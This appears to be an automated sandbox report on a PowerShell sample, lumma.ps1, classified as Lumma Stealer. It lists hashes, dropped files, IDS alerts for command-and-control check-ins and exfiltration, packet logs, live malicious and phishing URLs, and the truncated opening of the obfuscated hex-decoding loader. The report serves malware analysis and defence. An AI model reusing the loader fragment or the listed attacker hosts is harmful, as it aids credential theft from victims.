Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	9
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	lumma.ps1
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winPS1@7/8@2/2
EGA Information:	Successful, ratio: 66.7%
HCA Information:	Successful, ratio: 96% Number of executed functions: 196 Number of non-executed functions: 43
Cookbook Comments:	Found application associated with file extension: .ps1 Override analysis time to 240000 for current running targets taking high CPU consumption Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 172.202.163.200, 20.109.210.53, 13.107.246.45
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target powershell.exe, PID 7432 because it is empty
Not all processes where analyzed, report is missing behavior information
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
03:17:56	API Interceptor	94x Sleep call for process: powershell.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
104.21.84.241	https://mont-resp.buzz/m/?cmFuZDE9VWtkRFluQlpaalJ3VEE9PSZzdj1vMzY1XzFfbm9tJnJhbmQyPVVWcG1lRFpGVFhjeGN3PT0mdWlkPVVTRVIwNDA2MjAyNFVOSVFVRTEwMzUwNjA0NDcyMDI0MjAyNDA2MDQzNTEwNDcmcmFuZDM9Tkdsc2MwTjZURlp2TWc9PQ==N0123N%5bEMail%5d	Get hash	malicious	Unknown	Browse
	https://locksmithelpasotexas.com/wp-content/plugins/mqdrxkc/2Factor.html#YnJpYW4ud2lsbGlhbXNAa3JhZnRtYWlkLmNvbQ==&target=_blank	Get hash	malicious	Unknown	Browse
	http://mail.elgrillo.mx/js/captcha.html#b2JkdWxpYS5zYW5jaGV6QGFuYWludGVyY29udGluZW50YWwtdG9reW8uanA=&target=_blank	Get hash	malicious	Unknown	Browse
	https://plentyequipment.com/sign.html#UGV0ZXIuS3VlcHBlcnNAdmVyYmlvLmRl&referrer=nonreferrer	Get hash	malicious	HTMLPhisher	Browse
104.21.72.190	Winter.mp4.hta	Get hash	malicious	LummaC	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
cdn1.klipbazyxui.shop	Winter.mp4.hta	Get hash	malicious	LummaC	Browse	104.21.72.190

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	vlid_acid.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.190.223
	sysmonconfig.xml	Get hash	malicious	Unknown	Browse	172.64.41.3
	https://N0.kolivane.ru/da4scmQ/#Memily.gamble@amd.com	Get hash	malicious	Unknown	Browse	172.67.134.110
	https://smex-ctp.trendmicro.com/wis/clicktime/v1/query?url=https%3a%2f%2fshm.to%2fpolice&umid=0d23e2e5-f76c-4734-8c53-52692e5df704&auth=771bc9afedacaf21ff6267a075d4e92f38a56cd1-76eb9d39a6a3c5ec361f1d32692c8a467e476d6a	Get hash	malicious	Unknown	Browse	104.18.1.101
	https://smex-ctp.trendmicro.com/wis/clicktime/v1/query?url=https%3a%2f%2fshm.to%2fpolice&umid=0d23e2e5-f76c-4734-8c53-52692e5df704&auth=771bc9afedacaf21ff6267a075d4e92f38a56cd1-76eb9d39a6a3c5ec361f1d32692c8a467e476d6a	Get hash	malicious	Unknown	Browse	104.18.1.101
	PersonnelPolicies.pdf	Get hash	malicious	KnowBe4, PDFPhish	Browse	104.17.245.203
	botx.arm7.elf	Get hash	malicious	Mirai	Browse	104.17.182.127
	AquaPac.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.205.168
	R3nz_Loader.exe	Get hash	malicious	LummaC	Browse	104.21.32.1
	Loader.exe	Get hash	malicious	LummaC	Browse	104.21.80.1
CLOUDFLARENETUS	vlid_acid.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.190.223
	sysmonconfig.xml	Get hash	malicious	Unknown	Browse	172.64.41.3
	https://N0.kolivane.ru/da4scmQ/#Memily.gamble@amd.com	Get hash	malicious	Unknown	Browse	172.67.134.110
	https://smex-ctp.trendmicro.com/wis/clicktime/v1/query?url=https%3a%2f%2fshm.to%2fpolice&umid=0d23e2e5-f76c-4734-8c53-52692e5df704&auth=771bc9afedacaf21ff6267a075d4e92f38a56cd1-76eb9d39a6a3c5ec361f1d32692c8a467e476d6a	Get hash	malicious	Unknown	Browse	104.18.1.101
	https://smex-ctp.trendmicro.com/wis/clicktime/v1/query?url=https%3a%2f%2fshm.to%2fpolice&umid=0d23e2e5-f76c-4734-8c53-52692e5df704&auth=771bc9afedacaf21ff6267a075d4e92f38a56cd1-76eb9d39a6a3c5ec361f1d32692c8a467e476d6a	Get hash	malicious	Unknown	Browse	104.18.1.101
	PersonnelPolicies.pdf	Get hash	malicious	KnowBe4, PDFPhish	Browse	104.17.245.203
	botx.arm7.elf	Get hash	malicious	Mirai	Browse	104.17.182.127
	AquaPac.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.205.168
	R3nz_Loader.exe	Get hash	malicious	LummaC	Browse	104.21.32.1
	Loader.exe	Get hash	malicious	LummaC	Browse	104.21.80.1

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	GPU-Z.exe	Get hash	malicious	LummaC, DarkTortilla, LummaC Stealer	Browse	104.21.72.190
	Winter.mp4.hta	Get hash	malicious	LummaC	Browse	104.21.72.190
	aYu936prD4.exe	Get hash	malicious	Unknown	Browse	104.21.72.190
	aYu936prD4.exe	Get hash	malicious	Unknown	Browse	104.21.72.190
	VegaStealer_v2.exe	Get hash	malicious	Ades Stealer, BlackGuard, NitroStealer, VEGA Stealer	Browse	104.21.72.190
	SharcHack.exe	Get hash	malicious	Ades Stealer, BlackGuard, NitroStealer, VEGA Stealer, Xmrig	Browse	104.21.72.190
	l0zocrLiVW.exe	Get hash	malicious	LummaC	Browse	104.21.72.190
	FLKCAS1DzH.bat	Get hash	malicious	Unknown	Browse	104.21.72.190
	tzA45NGAW4.lnk	Get hash	malicious	Unknown	Browse	104.21.72.190
	lumma.ps1	Get hash	malicious	LummaC	Browse	104.21.72.190
a0e9f5d64349fb13191bc781f81f42e1	vlid_acid.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.84.241
	AquaPac.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.84.241
	R3nz_Loader.exe	Get hash	malicious	LummaC	Browse	104.21.84.241
	Loader.exe	Get hash	malicious	LummaC	Browse	104.21.84.241
	BasesRow.exe	Get hash	malicious	LummaC	Browse	104.21.84.241
	installer_1.05_36.5.exe	Get hash	malicious	LummaC	Browse	104.21.84.241
	@Setup.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.84.241
	GPU-Z.exe	Get hash	malicious	LummaC, DarkTortilla, LummaC Stealer	Browse	104.21.84.241
	Winter.mp4.hta	Get hash	malicious	LummaC	Browse	104.21.84.241
	MdhO83N5Fm.exe	Get hash	malicious	LummaC	Browse	104.21.84.241

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	9434
Entropy (8bit):	4.9287357903615305
Encrypted:	false
SSDEEP:	192:Lxoe5qpOZxoe54ib4ZVsm5emdQgkjDt4iWN3yBGHVQ9smzdcU6Cj9dcU6CG9smAH:srib4Zjkjh4iUxsT6Ypib47
MD5:	1A90203078D9A709A26D31BAA0CDB7C4
SHA1:	A84D0053A4FC5A3B17D02CB27F53C9920E9007B2
SHA-256:	788B7EFEA1DC3350F5CBB62B8EA8730FB0CABED347064C6CC75A9047AB057B49
SHA-512:	8110B0AB271B0890A65C52C49161FED843C13BEE64A10F64997BB80A9E5F4996B8FCE69A4DD666010A69F76930A666DA1DA07625B0FC102F0EE6BA24ECB7CE99
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	PSMODULECACHE......)..z..S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.........&ug.z..C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........Af

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllulbnolz:NllUc
MD5:	F23953D4A58E404FCB67ADD0C45EB27A
SHA1:	2D75B5CACF2916C66E440F19F6B3B21DFD289340
SHA-256:	16F994BFB26D529E4C28ED21C6EE36D4AFEAE01CEEB1601E85E0E7FDFF4EFA8B
SHA-512:	B90BFEC26910A590A367E8356A20F32A65DB41C6C62D79CA0DDCC8D95C14EB48138DEC6B992A6E5C7B35CFF643063012462DA3E747B2AA15721FE2ECCE02C044
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1hghxjfr.xyo.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_aft0coal.ogt.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dgz320r3.hoq.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zt20gfqe.ckx.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms (copy)

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6221
Entropy (8bit):	3.7448219545289696
Encrypted:	false
SSDEEP:	96:RNOJ33CxH0dkvhkvCCtleKB/hHWeKB/hHx:RNOJyUJleKKeKF
MD5:	2ED193AECFD32A9B966FCB779FE4D2DB
SHA1:	74522CD7AC4E7AD9279938279EF25942CA0ABD78
SHA-256:	8A3C8B95AD8438CB79A4A6016CA2923D04A19AEED8032B198C6487B1C61E389C
SHA-512:	B577F5EC86A3A61AF7EECA352E0A4A401776BFFB3243EE42100D6C222CF18B5FCA96B08E5DE3C0B05509740B53A30456D02A909BD716BA6B2A0F862C1E783968
Malicious:	false
Preview:	...................................FL..................F.".. ...-/.v.......S.Z..z.:{.............................:..DG..Yr?.D..U..k0.&...&......vk.v......O.Z.....S.Z......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^.Y6B...........................%..A.p.p.D.a.t.a...B.V.1......Y9B..Roaming.@......CW.^.Y9B..............................R.o.a.m.i.n.g.....\.1.....DW.N..MICROS~1..D......CW.^DW.`..........................9D..M.i.c.r.o.s.o.f.t.....V.1.....DWQ`..Windows.@......CW.^DWQ`...........................%!.W.i.n.d.o.w.s.......1.....CW.^..STARTM~1..n......CW.^DW.`....................D.....=X..S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....DW.N..Programs..j......CW.^DW.`....................@.........P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......CW.^DW.`..........................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......CW.^.Y<B....Q...........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\5GTYAEWBPCSNDM2KMYFK.temp

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6221
Entropy (8bit):	3.7448219545289696
Encrypted:	false
SSDEEP:	96:RNOJ33CxH0dkvhkvCCtleKB/hHWeKB/hHx:RNOJyUJleKKeKF
MD5:	2ED193AECFD32A9B966FCB779FE4D2DB
SHA1:	74522CD7AC4E7AD9279938279EF25942CA0ABD78
SHA-256:	8A3C8B95AD8438CB79A4A6016CA2923D04A19AEED8032B198C6487B1C61E389C
SHA-512:	B577F5EC86A3A61AF7EECA352E0A4A401776BFFB3243EE42100D6C222CF18B5FCA96B08E5DE3C0B05509740B53A30456D02A909BD716BA6B2A0F862C1E783968
Malicious:	false
Preview:	...................................FL..................F.".. ...-/.v.......S.Z..z.:{.............................:..DG..Yr?.D..U..k0.&...&......vk.v......O.Z.....S.Z......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^.Y6B...........................%..A.p.p.D.a.t.a...B.V.1......Y9B..Roaming.@......CW.^.Y9B..............................R.o.a.m.i.n.g.....\.1.....DW.N..MICROS~1..D......CW.^DW.`..........................9D..M.i.c.r.o.s.o.f.t.....V.1.....DWQ`..Windows.@......CW.^DWQ`...........................%!.W.i.n.d.o.w.s.......1.....CW.^..STARTM~1..n......CW.^DW.`....................D.....=X..S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....DW.N..Programs..j......CW.^DW.`....................@.........P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......CW.^DW.`..........................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......CW.^.Y<B....Q...........

Static File Info

General

File type:	ASCII text, with very long lines (3739), with no line terminators
Entropy (8bit):	4.458326077198348
TrID:
File name:	lumma.ps1
File size:	3'739 bytes
MD5:	e68c88b1be041d41149461edef165243
SHA1:	1b15c0f200880630b8a7c5d7d8f4e54a54a8171e
SHA256:	15f7511803399243beafdaecbc4cb3ad0dc25f97d9fafc6bead3147fdfbb3d66
SHA512:	7e24dcb41fa620d439f1c75f254e14f3f4ba95078c73ec3f7793e85ba0197faee89e1edf1f628e188e2b323e3f11fa7da854c05e8e23c85cea72f81e2eccb041
SSDEEP:	96:lwqbfN22gtOBkOfSuJXckiHrsnH0DcDSGqoKPVfW229zT:SWc2gtGB3XDiHy0DcDiNA
TLSH:	4B711AD6612D06D60F9728A410663B8B6318CBF7963E0868263B6B0417E05F709BDFB5
File Content Preview:	function OiHh($HJHQg){return -split ($HJHQg -replace '..', '0x$& ')};$JZsH = OiHh('1A9A57446742FA472A5382B631F7FA321E1A275772E9B23DAB5A78BAEA810A7314CC97B1E25466C4628E7A5AF62C3CB3665E3680CD05B5F065F7ED62C8E1E874060545040B3716B5AA5AD5F5096103553FB863FBBD39

File Icon


Icon Hash:	3270d6baae77db44

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-30T09:19:23.830003+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49916	104.21.84.241	443	TCP
2024-12-30T09:19:24.289204+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49916	104.21.84.241	443	TCP
2024-12-30T09:19:24.289204+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49916	104.21.84.241	443	TCP
2024-12-30T09:19:24.745174+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49922	104.21.84.241	443	TCP
2024-12-30T09:19:25.342316+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49922	104.21.84.241	443	TCP
2024-12-30T09:19:25.342316+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49922	104.21.84.241	443	TCP
2024-12-30T09:19:25.981846+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49930	104.21.84.241	443	TCP
2024-12-30T09:19:26.529167+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49930	104.21.84.241	443	TCP
2024-12-30T09:19:26.985741+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49940	104.21.84.241	443	TCP
2024-12-30T09:19:28.097403+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49947	104.21.84.241	443	TCP
2024-12-30T09:19:29.202231+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49956	104.21.84.241	443	TCP
2024-12-30T09:19:30.566083+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49965	104.21.84.241	443	TCP
2024-12-30T09:19:32.495395+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49977	104.21.84.241	443	TCP
2024-12-30T09:19:32.940364+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49977	104.21.84.241	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 30, 2024 09:18:05.852860928 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:05.852889061 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:05.853120089 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:05.863807917 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:05.863828897 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:06.315268993 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:06.315340996 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:06.320166111 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:06.320178032 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:06.320442915 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:06.343489885 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:06.387343884 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:06.724598885 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:06.724648952 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:06.724677086 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:06.724703074 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:06.724729061 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:06.724726915 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:06.724757910 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:06.724771976 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:06.724797010 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:06.724798918 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:06.724807978 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:06.724848032 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:06.724854946 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:06.725238085 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:06.725280046 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:06.725291967 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:06.825404882 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:06.825469017 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:06.825499058 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:06.829221010 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:06.829268932 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:06.829277039 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:06.836637020 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:06.836697102 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:06.836704016 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:06.843004942 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:06.843055010 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:06.843063116 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:06.849801064 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:06.849850893 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:06.849858999 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:06.858587980 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:06.858632088 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:06.858644009 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:06.865025997 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:06.865084887 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:06.865096092 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:06.878047943 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:06.878074884 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:06.878099918 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:06.878101110 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:06.878110886 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:06.878153086 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:06.884803057 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:06.884859085 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:06.884869099 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:06.928149939 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:06.928173065 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:06.928234100 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:06.928246021 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:06.928288937 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:06.934885025 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:06.947592974 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:06.947633982 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:06.947655916 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:06.947666883 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:06.947696924 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:06.947719097 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:06.947726965 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:06.947807074 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:06.953080893 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:06.959172010 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:06.959270000 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:06.959283113 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:06.959407091 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:06.965761900 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:06.965821981 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:06.977948904 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:06.977976084 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:06.978049040 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:06.978116989 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:06.978185892 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:06.983752012 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:06.983834982 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:06.990061998 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:06.990129948 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:06.996083975 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:06.996159077 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.003333092 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.003391027 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.013628006 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.013657093 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.013731003 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.013756990 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.013927937 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.019148111 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.019201040 CET	49730	443	192.168.2.4	104.21.72.190
